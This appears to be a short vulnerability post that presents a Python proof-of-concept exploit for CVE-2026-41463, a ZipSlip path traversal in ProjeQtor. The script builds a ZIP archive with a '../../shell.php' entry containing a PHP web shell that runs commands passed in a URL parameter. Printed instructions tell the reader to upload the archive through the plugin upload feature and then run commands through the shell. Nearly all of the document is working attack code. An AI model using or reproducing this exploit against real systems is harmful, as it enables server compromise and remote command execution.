CVE-2026-41463 ProjeQtor ZipSlip路径遍历致RCE漏洞

# Proof of Concept (PoC) for CVE-2026-41463 # This script generates a malicious ZIP file designed to exploit the ZipSlip vulnerability. import zipfile import os # The malicious PHP code to be executed webshell_content = '<?php system($_GET["cmd"]); ?>' # The path traversal sequence to write to the web root # Adjust the path based on the target structure (e.g., ../../www/) malicious_filename = '../../shell.php' # Create the malicious ZIP file zip_filename = 'exploit.zip' with zipfile.ZipFile(zip_filename, 'w') as zf: # Write the file with the traversal sequence zf.writestr(malicious_filename, webshell_content) print(f'[+] Malicious ZIP file created: {zip_filename}') print(f'[+] Upload this file via the Plugin Upload functionality in ProjeQtor.') print(f'[+] Access the shell at: /shell.php?cmd=whoami')